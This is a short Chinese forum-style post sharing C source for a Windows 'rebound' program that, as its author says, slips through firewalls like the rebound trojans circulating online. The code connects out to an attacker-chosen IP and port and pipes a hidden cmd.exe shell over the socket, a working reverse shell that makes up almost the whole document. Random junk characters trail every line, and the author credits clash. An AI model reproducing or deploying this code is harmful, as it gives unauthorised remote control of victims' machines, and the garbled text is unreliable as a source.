这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _&![s]
+`Bn]e8O
/* ============================== R+JI?/H
Rebound port in Windows NT GRV9s9^
By wind,2006/7 j1iC1=`ZM
===============================*/ Q6W)rJ[|
#include /tv;W
#include ti#sh{t
];2eIe
#pragma comment(lib,"wsock32.lib") h+^T);h};|
QBn>@jq
void OutputShell(); &{=~)>h
SOCKET sClient; 0j/81Y}p
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m[7:p{
h'fD3Gr&
void main(int argc,char **argv) &s;%(c04A
{
pn7 :")Zx
WSADATA stWsaData; < 5_Ys
int nRet; 9FLn7Y
SOCKADDR_IN stSaiClient,stSaiServer; gX _BJ6
v!U# C[a^
if(argc != 3) f8^58]wx0
{ @>:07]Dxo
printf("Useage:\n\rRebound DestIP DestPort\n"); PrKlwhi#
return; /#se>4]
} /[IQ:':^
h{xERIV1u
WSAStartup(MAKEWORD(2,2),&stWsaData); ?-84_i
ipp_?5TL
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KE3
/<0Z
1=a}{)0h
stSaiClient.sin_family = AF_INET; TxCQGzqe
stSaiClient.sin_port = htons(0); k"7eHSy,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E\*",MGL
jgo@~,5R
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
E$>e<
T
{ #Fd([Zx#.
printf("Bind Socket Failed!\n"); Xbtv}g<0c
return; (Sv%-8?gs
} -d3y!|\>a
td&l T(7
stSaiServer.sin_family = AF_INET; C|J1x4sb@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 85{vz|(':
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~&/Gx_KU
_z 5CplO
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9h(hx7]
{ ?BZ][~n-Q
printf("Connect Error!"); %Nn'p"
return; /a|NGh%
} 7 f*_
OutputShell(); e`Yns$x
} RM+E
KRZV9AJ
void OutputShell() oCYD@S>h
{ /nP=E
char szBuff[1024]; m'B6qy!}6
SECURITY_ATTRIBUTES stSecurityAttributes; MX0B$yc$
OSVERSIONINFO stOsversionInfo; T!a[@,)_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j1kc&(
STARTUPINFO stStartupInfo; `x VA]GR4c
char *szShell; zNf5OItx
PROCESS_INFORMATION stProcessInformation; UIj/Id
unsigned long lBytesRead; %$xFnGb
6 {Z\cwP)c
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ) :@%xoF5
:GYv9OG
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); s-V$N
stSecurityAttributes.lpSecurityDescriptor = 0; /6c10}f
stSecurityAttributes.bInheritHandle = TRUE; lpUtNy
m^.C(}
%p60pn[(
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jf/9]`Hf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k#) .E X
$IT9@}*{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wcf_5T
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ACYn87tq
stStartupInfo.wShowWindow = SW_HIDE; rfi`Bp
stStartupInfo.hStdInput = hReadPipe; FO=1P7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; uCfp+
;/T-rVND
GetVersionEx(&stOsversionInfo); ,-Nk-g
<R>ZG"m {
switch(stOsversionInfo.dwPlatformId) 6w;|-/:`
{ )x &@j4,
case 1: OF/)-}!
szShell = "command.com"; !VZj!\I
break; >pvg0Fh
default: =3C)sz}
szShell = "cmd.exe"; Zwns|23n
break; r![JPhei
} ~(/HgFLLu
Ds_
"m,
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
m5aaY
?\M6P?tpo&
send(sClient,szMsg,77,0); k&s7-yY
while(1) Fd&!-`T?
{ )>5k'1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u/c3omY"#
if(lBytesRead) -$t,}3
{ <SZO-
-+lB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SqF.DB~
send(sClient,szBuff,lBytesRead,0); 4"x;XVNM[
} iBC>w+t14
else QS*cd|7J;
{ !F#aodM1N
lBytesRead=recv(sClient,szBuff,1024,0); qjzW9yV+
if(lBytesRead<=0) break; wP0+Xv,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q5n :f+
} TF-Ty
} So.P @CCd
jY+S,lD
return; ,GU/l)os`
}